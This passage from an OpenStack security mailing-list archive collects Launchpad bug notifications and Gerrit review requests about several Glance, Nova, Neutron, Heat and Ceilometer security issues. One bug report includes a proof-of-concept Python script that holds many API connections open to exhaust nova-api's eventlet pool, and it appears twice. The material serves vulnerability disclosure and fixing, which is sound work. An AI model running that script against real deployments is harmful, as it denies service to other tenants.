find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1416314/+subscriptions From 1414532 at bugs.launchpad.net Wed Mar 25 12:58:19 2015 From: 1414532 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 25 Mar 2015 12:58:19 -0000 Subject: [Openstack-security] [Bug 1414532] Re: asserts used in cache.py References: <20150126041237.12665.35620.malonedeb@soybean.canonical.com> Message-ID: <20150325125820.7690.48501.malone@chaenomeles.canonical.com> Reviewed: https://review.openstack.org/158480 Committed: https://git.openstack.org/cgit/openstack/glance/commit/?id=6b92b537822539497bc0194fe753fe218d1c70f1 Submitter: Jenkins Branch: master commit 6b92b537822539497bc0194fe753fe218d1c70f1 Author: Geetika Batra Date: Tue Feb 24 04:32:51 2015 +0530 Replace assert statements with proper control-flow When python is run with -O assert statements are optimized away. Replacing them with proper control-flow statements (e.g., if, else, elif) prevents the matcher from returning an invalid match. Closes-bug: #1414532 Co-Authored-By: Ian Cordasco Change-Id: I60b42d5a5d71602be7adc321406ea87dfcf93f46 ** Changed in: glance Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1414532 Title: asserts used in cache.py Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: New Bug description: The asserts in the snippet below check at #2 to see if the HTTP method match the HTTP methods actually specified in the patterns at #1. /opt/stack/glance/glance/api/middleware/cache.py PATTERNS = { <--- #1 ('v1', 'GET'): re.compile(r'^/v1/images/([^\/]+)$'), ('v1', 'DELETE'): re.compile(r'^/v1/images/([^\/]+)$'), ('v2', 'GET'): re.compile(r'^/v2/images/([^\/]+)/file$'), ('v2', 'DELETE'): re.compile(r'^/v2/images/([^\/]+)$') } ... @staticmethod def _match_request(request): """Determine the version of the url and extract the image id :returns tuple of version and image id if the url is a cacheable, otherwise None """ for ((version, method), pattern) in PATTERNS.items(): match = pattern.match(request.path_info) try: assert request.method == method <--- #2 image_id = match.group(1) # Ensure the image id we got looks like an image id to filter # out a URI like /images/detail. See LP Bug #879136 assert image_id != 'detail' except (AttributeError, AssertionError): continue else: return (version, method, image_id) As stated in the Python documentation assert statements will not be evaluated when the Python code is compiled with optimization flags. This means that these checks will not be properly executed and one can in that case call a specific method with a completely different HTTP verb. This can result in security issues. For example think of having some filtering in place in front of the glance API to maybe allow only certain API queries to come from certain IP addresses. For example: 'the HTTP verb DELETE may only be executed from this IP range'. An attacker can now specify a completely different HTTP verb such as GET and make sure he still matches regular expressions at #1 and then bypass the firewall. It's a bit of a hypothetical scenario but in general one should never ever do error checking with assert statemetns. This should only be done for things which can never realistically fail and that is simply not an assumption one can hold when it comes to untrusted input from the network. For more information see https://docs.python.org/2/reference/simple_stmts.html#the-assert-statement and https://docs.python.org/2/using/cmdline.html#envvar-PYTHONOPTIMIZE This seems to be related to https://bugs.launchpad.net/cinder/+bug/1199354 but it's not fixed and maybe it should even be a security issue hence why I reported it again and tagged as a security vulnerability. I am not familiar enough with the code base to make that call. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1414532/+subscriptions From bknudson at us.ibm.com Wed Mar 25 14:24:14 2015 From: bknudson at us.ibm.com (Brant Knudson) Date: Wed, 25 Mar 2015 14:24:14 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150325142417.23430.8929.launchpad@wampee.canonical.com> ** Tags added: kilo-rc-potential -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Wed Mar 25 14:52:49 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 25 Mar 2015 14:52:49 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change I94428288cb6851ae74bd80b02b761f3509a188fc Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/138051 Log: commit 58f8f92af49289a571cc0762a616714a9dedff93 Author: Lakshmi N Sampath Date: Mon Dec 1 04:13:06 2014 -0800 Catalog Index Service Implements: blueprint catalog-index-service This is intended to improve performance of Glance API services while dramatically improving search capabilities. It will improve performance by offloading user search queries from existing API servers. In addition, we are working on numerous improvements in Horizon which will include improvements to image, snapshot, artifact details and searching. The desired user experience is greatly dependent upon a rich, dynamic, near real time faceted and aggregated search capability with a strong query language. DocImpact APIImpact SecurityImpact Change-Id: I94428288cb6851ae74bd80b02b761f3509a188fc Co-Authored-By: Lakshmi N Sampath Co-Authored-By: Travis Tripp Co-Authored-By: Murali Sundar From 1427228 at bugs.launchpad.net Wed Mar 25 15:15:13 2015 From: 1427228 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 25 Mar 2015 15:15:13 -0000 Subject: [Openstack-security] [Bug 1427228] Related fix merged to neutron (master) References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150325151513.26046.54019.malone@gac.canonical.com> Reviewed: https://review.openstack.org/166353 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=3106d358f1963f9f9611018ad77eadd13874242d Submitter: Jenkins Branch: master commit 3106d358f1963f9f9611018ad77eadd13874242d Author: Cedric Brandily Date: Fri Mar 20 16:11:53 2015 +0000 Move metadata proxy shared options to neutron.conf This change moves metadata proxy options shared between dhcp and l3 agents to neutron.conf. This change prepares follow-up changes allowing to run metadata proxy with nobody user/group Change-Id: I1828e322791b8a697765cad2f12857e3d6deae68 Related-bug: #1427228 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): In Progress Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From davanum at gmail.com Wed Mar 25 20:04:27 2015 From: davanum at gmail.com (Davanum Srinivas (DIMS)) Date: Wed, 25 Mar 2015 20:04:27 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150325200430.23234.80923.launchpad@wampee.canonical.com> ** Changed in: nova Status: In Progress => Confirmed ** Changed in: nova Importance: Undecided => Low -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in OpenStack Compute (Nova): Confirmed Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1416314/+subscriptions From shellee.arnold at hp.com Wed Mar 25 20:58:43 2015 From: shellee.arnold at hp.com (Shellee Arnold) Date: Wed, 25 Mar 2015 20:58:43 -0000 Subject: [Openstack-security] [Bug 1411327] Re: Security Guide - Intro to SSL/TLS PKI overview References: <20150115171507.21566.72497.malonedeb@soybean.canonical.com> Message-ID: <20150325205845.23195.40660.launchpad@wampee.canonical.com> ** Changed in: openstack-manuals Assignee: Shellee Arnold (shellee-arnold) => OpenStack Security Group (openstack-ossg) ** Changed in: openstack-manuals Assignee: OpenStack Security Group (openstack-ossg) => (unassigned) -- You received this bug notification because you are a member of OpenStack Security Group, which is a bug assignee. https://bugs.launchpad.net/bugs/1411327 Title: Security Guide - Intro to SSL/TLS PKI overview Status in OpenStack Manuals: Confirmed Bug description: Current description of PKI is interesting, personally would prefer the descriptions of the core components be a bit more specific and also not a fan of the 'Relying party' 'trusting' as certs should be validated up the chain, against a crl and expiry checked. ----------------------------------- Built: 2015-01-09T08:06:55 00:00 git SHA: 6adcc8b79c64aac5c365326f863368096b4677ba URL: http://docs.openstack.org/security-guide/content/introduction-to-ssl-tls.html source File: file:/home/jenkins/workspace/security-doc-tox-doc-publishdocs/security-guide/section_introduction-to-ssl-tls.xml xml:id: introduction-to-ssl-tls To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-manuals/+bug/1411327/+subscriptions From icordasc+launchpad at coglib.com Wed Mar 25 22:51:43 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Wed, 25 Mar 2015 22:51:43 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150325225143.26369.99300.malone@gac.canonical.com> Bobby, it would appear it wasn't resolved. ** Tags added: security ** Also affects: ossa Importance: Undecided Status: New ** Changed in: glance Assignee: (unassigned) => Ian Cordasco (icordasc) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Image Registry and Delivery Service (Glance): Confirmed Status in OpenStack Security Advisories: New Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1100220/+subscriptions From icordasc+launchpad at coglib.com Wed Mar 25 23:08:36 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Wed, 25 Mar 2015 23:08:36 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150325230839.22881.2415.launchpad@wampee.canonical.com> ** Project changed: glance => glance-store ** Changed in: glance-store Importance: Medium => High -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Glance backend store-drivers library (glance_store): Confirmed Status in OpenStack Security Advisories: New Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1100220/+subscriptions From icordasc+launchpad at coglib.com Thu Mar 26 14:58:21 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Thu, 26 Mar 2015 14:58:21 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150326145821.23195.34609.malone@wampee.canonical.com> Yeah I think the previously existing entries will need a migration at least. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Glance backend store-drivers library (glance_store): Confirmed Status in OpenStack Security Advisories: New Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1100220/+subscriptions From nikhil.komawar at rackspace.com Thu Mar 26 15:03:59 2015 From: nikhil.komawar at rackspace.com (nikhil komawar) Date: Thu, 26 Mar 2015 15:03:59 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150326150359.7521.85263.malone@chaenomeles.canonical.com> Someone needs to pick this work up https://review.openstack.org/#/c/103981/ . I'm running low on cycles at this point so, any effort here would be appreciated. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Glance backend store-drivers library (glance_store): Confirmed Status in OpenStack Security Advisories: New Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1100220/+subscriptions From 1376915 at bugs.launchpad.net Thu Mar 26 15:09:53 2015 From: 1376915 at bugs.launchpad.net (Eoghan Glynn) Date: Thu, 26 Mar 2015 15:09:53 -0000 Subject: [Openstack-security] [Bug 1376915] Re: Access to sensitive audit data is not properly restricted References: <20141002203501.17647.70947.malonedeb@chaenomeles.canonical.com> Message-ID: <20150326150954.26164.95014.launchpad@gac.canonical.com> ** Changed in: ceilometer Milestone: kilo-rc1 => next -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1376915 Title: Access to sensitive audit data is not properly restricted Status in OpenStack Telemetry (Ceilometer): In Progress Status in OpenStack Security Advisories: Won't Fix Bug description: Audit data stored in http.request and http.response meters is not being adequately protected. Admins are allowed to access audit data for all projects rather than just their own. Non-admins are allowed to access audit data for all users within their project rather than just themselves. A non-admin user should not be able to see what other users are doing, and being an admin in project A does not make you an admin in project B. The following blueprints acknowledge the lack of this support. To quote one: "as ceilometer collects more and more different types of data... some of the data collected may be 'privileged' data that only admins should have access to regardless of membership to a tenant (ie. audit data should only be visible to admins)". That day has come, and the implementation of these blueprints is still missing. At this point there is a security hole here (data exposure) which needs to be plugged immediately, either with the implementation of one of these blueprints (which should probably be merged together) or by a less flexible but more easily implemented stopgap measure. Given time constraints and the urgency of closing this hole, I propose the latter, though the blueprints will obviously still be necessary for a more robust and complete solution. https://blueprints.launchpad.net/ceilometer/+spec/advanced-policy-rule and https://blueprints.launchpad.net/ceilometer/+spec/admin-only-api- access and https://blueprints.launchpad.net/ceilometer/+spec/ready- ceilometer-rbac-keystone-v3 To manage notifications about this bug go to: https://bugs.launchpad.net/ceilometer/+bug/1376915/+subscriptions From gerrit2 at review.openstack.org Fri Mar 27 04:06:57 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 27 Mar 2015 04:06:57 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141130 Log: commit 21f9512dbb1c3a63ddba83dd1d7841a8fdc3d845 Author: Édouard Thuleau Date: Tue Feb 10 13:43:34 2015 +1300 ARP spoofing patch: Low level ebtables integration ARP cache poisoning is not actually prevented by the firewall driver 'iptables_firewall'. We are adding the use of the ebtables command - with a corresponding ebtables-driver - in order to create Ethernet frame filtering rules, which prevent the sending of ARP cache poisoning frames. The complete patch is broken into a set of smaller patches for easier review. This patch here is th first of the series and includes the low-level ebtables integration, unit and functional tests. Note: This commit is based greatly on an original, now abandoned patch, presented for review here: https://review.openstack.org/#/c/70067/ Full spec can be found here: https://review.openstack.org/#/c/129090/ SecurityImpact Change-Id: I9ef57a86b1a1c1fa4ba1a034c920f23cb40072c0 Implements: blueprint arp-spoof-patch-ebtables Related-Bug: 1274034 Co-Authored-By: jbrendel From fungi at yuggoth.org Fri Mar 27 23:03:12 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Fri, 27 Mar 2015 23:03:12 -0000 Subject: [Openstack-security] [Bug 1436082] Re: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection References: <20150324214535.8217.99560.malonedeb@soybean.canonical.com> Message-ID: <20150327230313.26474.99058.launchpad@gac.canonical.com> ** Information type changed from Public Security to Public ** Tags added: security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1436082 Title: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: VMWare store: https://github.com/openstack/glance_store/blob/ea88e503b617a7ac9a0ae7e537d6517e9992a104/glance_store/_drivers/vmware_datastore.py#L501 (_get_conn_class above uses simply httplib.HTTPSConnection). HTTP Store: https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/http.py#L179 This leaves both stores open to man-in-the-middle attacks while transferring image data. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1436082/+subscriptions From icordasc+launchpad at coglib.com Sat Mar 28 02:25:27 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Sat, 28 Mar 2015 02:25:27 -0000 Subject: [Openstack-security] [Bug 1436082] Re: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection References: <20150324214535.8217.99560.malonedeb@soybean.canonical.com> Message-ID: <20150328022527.25645.82778.malone@gac.canonical.com> See https://review.openstack.org/#/c/168507 for the HTTP Store and https://review.openstack.org/168540 for the VMWare Store. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1436082 Title: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: VMWare store: https://github.com/openstack/glance_store/blob/ea88e503b617a7ac9a0ae7e537d6517e9992a104/glance_store/_drivers/vmware_datastore.py#L501 (_get_conn_class above uses simply httplib.HTTPSConnection). HTTP Store: https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/http.py#L179 This leaves both stores open to man-in-the-middle attacks while transferring image data. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1436082/+subscriptions From icordasc+launchpad at coglib.com Sat Mar 28 02:31:03 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Sat, 28 Mar 2015 02:31:03 -0000 Subject: [Openstack-security] [Bug 1436082] Re: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection References: <20150324214535.8217.99560.malonedeb@soybean.canonical.com> Message-ID: <20150328023103.25704.15143.launchpad@gac.canonical.com> ** CVE added: http://www.cve.mitre.org/cgi- bin/cvename.cgi?name=2013-2255 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1436082 Title: VMWare and HTTP stores do not verify HTTPS Connections as they use httplib.HTTPSConnection Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: VMWare store: https://github.com/openstack/glance_store/blob/ea88e503b617a7ac9a0ae7e537d6517e9992a104/glance_store/_drivers/vmware_datastore.py#L501 (_get_conn_class above uses simply httplib.HTTPSConnection). HTTP Store: https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/http.py#L179 This leaves both stores open to man-in-the-middle attacks while transferring image data. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1436082/+subscriptions From gerrit2 at review.openstack.org Mon Mar 30 04:37:06 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 30 Mar 2015 04:37:06 +0000 Subject: [Openstack-security] [openstack/heat] SecurityImpact review request change I303d87addeed8b103eeb26dbcc48e3acce06ee6a Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144074 Log: commit f93114ea094e8fee70715b115814f8a7a91d8bf7 Author: yangxurong Date: Thu Dec 25 16:44:48 2014 +0800 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Change-Id: I303d87addeed8b103eeb26dbcc48e3acce06ee6a Closes-Bug: #1361360 From gerrit2 at review.openstack.org Mon Mar 30 04:40:01 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 30 Mar 2015 04:40:01 +0000 Subject: [Openstack-security] [openstack/heat] SecurityImpact review request change I303d87addeed8b103eeb26dbcc48e3acce06ee6a Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144074 Log: commit 1cd54619310f7ffa8d49bae85d6c136977086a02 Author: yangxurong Date: Mon Mar 30 14:39:17 2015 +1000 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Change-Id: I303d87addeed8b103eeb26dbcc48e3acce06ee6a Closes-Bug: #1361360 From 1361360 at bugs.launchpad.net Mon Mar 30 04:36:59 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 30 Mar 2015 04:36:59 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150330043702.25776.96011.launchpad@gac.canonical.com> ** Changed in: heat Assignee: Xurong Yang (idopra) => Angus Salkeld (asalkeld) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this 